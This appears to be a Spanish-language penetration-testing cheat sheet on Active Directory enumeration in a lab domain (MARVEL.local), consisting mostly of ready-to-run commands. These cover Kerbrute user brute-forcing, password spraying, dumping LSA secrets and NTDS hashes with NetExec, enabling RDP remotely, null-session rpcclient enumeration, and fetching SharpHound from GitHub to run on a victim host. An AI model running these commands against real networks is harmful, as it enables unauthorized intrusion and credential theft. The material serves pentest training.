Enumeración
Identificación de hosts
Fping
fping -asgq 172.16.0.1/24Parámetros utilizados:
apara mostrar los objetivos que están activossimprimir estadísticas al final de la exploracióngpara generar una lista de destinos a partir de la red CIDRqpara no mostrar resultados por objetivo
Con el escaneo realizado anteriormente con fping podemos armar una lista de hosts activos.
Nmap
También, podemos realizar el descubrimiento de host - a través de un Ping Scan con nmap.
sudo nmap -sn 10.10.10.0/24-snEsta opción le dice a Nmap que no haga un escaneo de puertos después del descubrimiento de hosts y que sólo imprima los hosts disponibles que respondieron a la traza icmp.
Ahora que tenemos una lista de hosts activos dentro de nuestra red, podemos enumerarlos más detalladamente. Queremos determinar qué servicios está ejecutando cada host, identificar hosts críticos como controladores de dominio y servidores web, e identificar hosts potencialmente vulnerables para sondearlos más tarde. Con nuestro enfoque en AD, después de hacer un barrido amplio, sería prudente centrarnos en los protocolos estándar que suelen acompañar a los servicios AD, como DNS, SMB, LDAP y Kerberos, por nombrar algunos. A continuación se muestra un ejemplo rápido de un simple escaneo Nmap.
sudo nmap -v -A -iL hosts.txt -oN hostEnumnmap -p- -sS --open --min-rate 5000 -vvv -Pn -n <IP> -oG scanPorts
extractPorts allPorts
nmap -sCV -p<PUERTOS> <IP> -oN targetedIdentificación de Usuarios
Si no tenemos un usuario con el que empezar las pruebas (que suele ser el caso), tendremos que encontrar una manera de establecer un punto de apoyo en el dominio, ya sea obteniendo credenciales en texto claro o un hash de contraseña NTLM para un usuario, un shell SYSTEM en un host unido al dominio, o un shell en el contexto de una cuenta de usuario de dominio. Obtener un usuario válido con credenciales es crítico en las primeras etapas de una prueba de penetración interna. Este acceso (incluso al nivel más bajo) abre muchas oportunidades para realizar enumeraciones e incluso ataques.
Kerbrute
Kerbrute puede ser una opción más sigilosa para la enumeración de cuentas de dominio. Se aprovecha del hecho de que los fallos de pre-autenticación Kerberos a menudo no activan registros o alertas. Utilizaremos Kerbrute junto con las listas de usuarios como pueden ser jsmith.txt o jsmith2.txt de Insidetrust. Este repositorio contiene muchas listas de usuarios diferentes que pueden ser extremadamente útiles cuando se intenta enumerar usuarios cuando se comienza desde una perspectiva no autenticada. Podemos apuntar Kerbrute al DC y alimentarlo con una lista de palabras. La herramienta es rápida, y se nos proporcionarán resultados que nos permitirán saber si las cuentas encontradas son válidas o no, lo cual es un gran punto de partida para lanzar ataques como el de Password Spraying.
Por medio de una lista de usuarios, como puede ser las mencionadas anteriormente podemos ver usuarios válidos a nivel de dominio gracias a los fallos de pre-autenticación Kerberos
kerbrute userenum -d MARVEL.LOCAL --dc 172.16.0.1 jsmith.txt -o valid_ad_users.txtcat valid_ad_users.txt | awk -F "VALID USERNAME:\t" '{print $2}' | tr -d ' ' | sed '/^$/d' | awk -F '@' '{print $1}' | tee users.txtPuede haber veces que un usuario tenga de contraseña su mismo nombre de usuario:
kerbrute bruteuser --d MARVEL.LOCAL -dc 172.16.0.1 jsmith.txt pparkerSMB
Con credenciales validas del dominio podemos realizar distintas enumeraciones.
Netexec
Enumerar equipos del dominio para comprobar si tiene el SMB firmado.
nxc smb 172.16.0.1/24Validar las credenciales.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123'Comprobar en que equipos las credenciales son validas para poder conectarnos.
nxc smb 172.16.0.1/24 -u 'pparker' -p 'Password123'Enumerar recursos compartidos.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --sharesEnumerar usuarios.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --usersEnumerar grupos.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --groupsMódulo spider_plus
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' -M spider_plus --share 'hackme'Listar usuarios conectados.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --loggedon-usersSi tenemos credenciales de un usuario que pertenece a al grupo Administradores podemos volcar (dumpear) el LSA o el NTDS.
En este caso, LSA nos podría proporcionar la contraseña del Administrador en texto claro.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --lsaEl NTDS nos proporcionará todos los hashes del dominio.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --ntdsEnumerar politicas de contraseña.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --pass-pol
Podemos hacer esto mismo usando rpcclient.
rpcclient MARVEL.local/ -U 'pparker' --password 'Password123' -I 172.16.0.1 -c 'getdompwinfo'
Password Spraying
Otro aspecto destacable es el ataque conocido como Password Spraying. Para contextualizar, imaginemos que disponemos de unas credenciales como pparker.MyPassword$123. Una táctica común en este escenario es conectarse al Protocolo de Llamada a Procedimientos Remotos (RPC) - para extraer una lista de todos los usuarios del dominio. Esta lista se guarda en un archivo, por ejemplo users.txt, y luego se proporciona como entrada a herramientas como el propio netexec, junto con la contraseña antes mencionada. Este proceso permite intentar el acceso a múltiples cuentas del dominio, aprovechando la débil seguridad de la contraseña utilizada.
nxc smb 172.16.0.1 -u users.txt -p 'password' --continue-on-successPor otra parte, si contamos con una lista de contraseñas también podemos utilizarlas.
nxc smb 172.16.0.1 -u users.txt -p passwords.txt --continue-on-success --no-bruteforceEl argumento --no-bruteforce se emplea para evitar la prueba de todas las contraseñas disponibles para cada usuario, en su lugar, se prueba el usuario de la línea 1 con la contraseña de la línea 1, el usuario de la línea 2 con la contraseña de la línea 2, y así sucesivamente.
Si hemos logrado comprometer el entorno y buscamos una interfaz gráfica, la mejor opción es acceder a través de RDP (Protocolo de Escritorio Remoto). Sin embargo, antes de hacerlo, necesitaremos habilitar esta función.
nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' -M rdp -o ACTION=enableLuego, ya podemos utilizar xfreerdp y conectarnos.
xfreerdp /u:'pparker' /p:'Password123' /v:MARVEL.local /cert:ignore /dynamic-resolutionUna alternativa a moverse a través de smbclient es montar el recurso compartido.
mount -t cifs -o "username=pparker,password=Password123,rw" "//172.16.0.1/hackme" /mnt/shared_folderfor dir in $(ls);
do
echo -e "\n[*] Enumerando permisos en el directorio $dir:\n";
echo -e "\t$(smbcacls "//172.16.0.1/hackme" Users/$dir -N | grep "Everyone")";
doneSMBMap
Comprobar el acceso
smbmap -u 'pparker' -p 'Password123' -d MARVEL.local -H 172.16.0.1Listar de forma recursiva un directorio compartido.
smbmap -u 'pparker' -p 'Password123' -d MARVEL.local -H 172.16.0.1 -r 'hackme'Descargamos un archivo del recurso compartido.
smbmap -u 'pparker' -p 'Password123' -d MARVEL.local -H 172.16.0.1 --download 'hackme\test.txt'SMB desde Windows
Recursos compartidos comunes en Windows:
C$corresponde a C:/ADMIN$se asigna a C:/WindowsIPC$se utiliza para RPCPrint$aloja controladores para impresoras compartidasSYSVOLsólo en DCsNETLOGONsólo en los DC
Get-SMBShareListar recursos compartidos
net shareMontar el recurso compartido
net use z: \\172.16.0.1\C$ /user:pparker "Password123"Desmontar el recurso compartido
net use /delete z:/all nos permite ver los recursos compartidos administrativos (que terminan en '$'). Puede usarse IP o nombre de host para especificar el host.
net view \\172.16.0.1 /allCon el comando net, podemos especificar el recurso compartido de red queremos utilizar.
net use \\<IP>\IPC$ /user:"MARVEL.local"\"pparker" "Password123"
net view \\<IP>\Listar el recurso compartido SYSVOL.
net use x: \\<IP>\SYSVOL /user:"MARVEL.local"\"pparker" "Password123"Smbclient
smbclient -L 172.16.0.1 -Nimpacket-smbclient
impacket-smbclient MARVEL.local/'pparker':'Password123'@MARVEL.localRPCClient
Rpcclient es una utilidad que forma parte del conjunto de herramientas Samba. Se utiliza para interactuar con el protocolo Remote Procedure Call (RPC) de Microsoft, que se utiliza para la comunicación entre los sistemas basados en Windows y otros dispositivos. Rpcclient se utiliza principalmente para fines de depuración y pruebas, y se puede utilizar para consultar y manipular sistemas remotos. El protocolo SMB se utiliza principalmente para compartir archivos, impresoras y otros recursos en una red, pero también puede aprovechar RPC para ciertas funcionalidades y operaciones específicas.
Por ejemplo, cuando accedes a recursos compartidos en una red Windows, como carpetas compartidas o impresoras, estás utilizando el protocolo SMB. Sin embargo, para algunas operaciones administrativas y de gestión, como enumerar usuarios y grupos, modificar permisos de archivos o impresoras, o acceder a la configuración del sistema remoto, SMB puede utilizar RPC para realizar estas tareas.
Cuando utilizas herramientas como rpcclient para interactuar con un sistema remoto que ejecuta servicios SMB, estás esencialmente aprovechando el protocolo RPC subyacente que forma parte de la implementación de SMB en ese sistema. De esta manera, rpcclient puede actuar como una interfaz para realizar consultas y ejecutar comandos a través del protocolo RPC en el contexto de un servidor SMB.
Enumerar utilizando credenciales validas.
rpcclient MARVEL.local/ -U 'pparker' --password 'Password123' -I 172.16.0.1 -c "enumdomusers"rpcclient MARVEL.local/ -U 'pparker' --password 'Password123' -I 172.16.0.1 -c 'enumdomusers' | grep -oP '\[\D*?\]' | tr -d '[]' | tee users_ad.txtPodemos obtener las descripciones, ya que algunas puden contener información sensible como contraseñas.
for user in $(cat users_ad.txt); do rpcclient -U "pparker" --password 'Password123' MARVEL.local -c "queryuser $user"; done | grep -E "User Name|Description"Si la null session está habilitada en el RDP del dominio podemos aprovecharnos de la misma para enumerar.
Obtener información sobre el sistema remoto, como el nombre del servidor, la versión del sistema operativo, el dominio de trabajo, la fecha y la hora del sistema, entre otros detalles.
rpcclient -U "" -N 172.16.0.1 -c "srvinfo"Enumera los usuarios del dominio
rpcclient -U "" -N 172.16.0.1 -c "enumdomusers"Enumera los grupos del dominio
rpcclient -U "" -N 172.16.0.1 -c "enumdomgroups"Obtiene el SID del usuario en base a su nombre
rpcclient -U "" -N 172.16.0.1 -c "lookupnames ppaker"Se utiliza para enumerar los SID (Security Identifiers) asignados a los grupos en un servidor remoto. Es útil para obtener información sobre los grupos de seguridad disponibles en un sistema y sus respectivos SID.
rpcclient -U "" -N 192.168.1.10 -c "lsaenumsid"Enumerar impresoras
rpcclient -U "" -N 192.168.1.10 -c "enumprinters"BloodHound
Opción 1
La primera forma de enumerar con Bloodhound, es hacerlo desde la máquina atacante utilizando bloodhound.py.
python3 bloodhound.py -u 'ppaker' -p 'Password123' -d MARVEL.local -ns 172.16.0.1 -ns 10.10.10.100 --zip -c AllOpción 2
La segunda manera, consta de los siguientes pasos.
Descargar
SharpHound.ps1:
wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1Subirlo a la máquina víctima ya sea con un servidor de
SMBouploaddeevil-winrm.Importar el módulo:
Import-Module .\SharpHound.ps1Invocar a
BloodHound
Invoke-BloodHound -CollectionMethod AllAhora queda descargar el zip y meterlo en BloodHound.
Opción 3
Otra alternativa es utilizar SharpHound.exe.
.\SharpHound.exe -c allPor ultimo, descargarmos el archivo zip nuevamente y los subimos en BloodHound.
ldapsearch
Para enumerar a través del protoclo LDAP, podemos usar la herramienta ldapsearch:
ldapsearch -H ldap://172.16.0.1 -x -s base namingcontexts
-H ldap://172.16.0.1: Especifica el URI del servidor LDAP al que se va a conectar. En este caso,ldap://172.16.0.1.-x: Indica que se utilizará el método de autenticación simple. Esto es comúnmente utilizado para realizar pruebas, pero no es seguro para ambientes de producción.-s base: Especifica el alcance de la búsqueda. En este caso,basesignifica que la búsqueda se realiza en el objeto base especificado.namingContexts: Especifica el atributo que se desea buscar. En este caso,namingContextses el atributo que contiene los contextos de nombres del servidor LDAP.
Podemos seguir enumerando:
ldapsearch -H ldap://<IP> -x -b "DC=<DOMINIO>,DC=<LOCAL,COM etc...>"Si tenemos credenciales, para ldapsearch:
ldapsearch -H ldap://172.16.0.1 -D 'pparker@MARVEL.local' -w 'Password123' -x -b "DC=MARVEL,DC=LOCAL"ldapsearch -H ldap://172.16.0.1 -D 'pparker@MARVEL.local' -w 'Password123' -x -b "CN=Users,DC=MARVEL,DC=local"Hay que tener en cuenta mirar cada usuario y descripción ya que pueden contener contraseñas.
ldapdomaindump
En caso de tener credenciales válidas podemos hacer uso de ldapdomaindump:
ldapdomaindump -u 'MARVEL.local\pparker' -p 'Password123' 172.16.0.1Esto generará unos archivos json, grep, html que con un servidor web podemos ver en el navegador.
Última actualización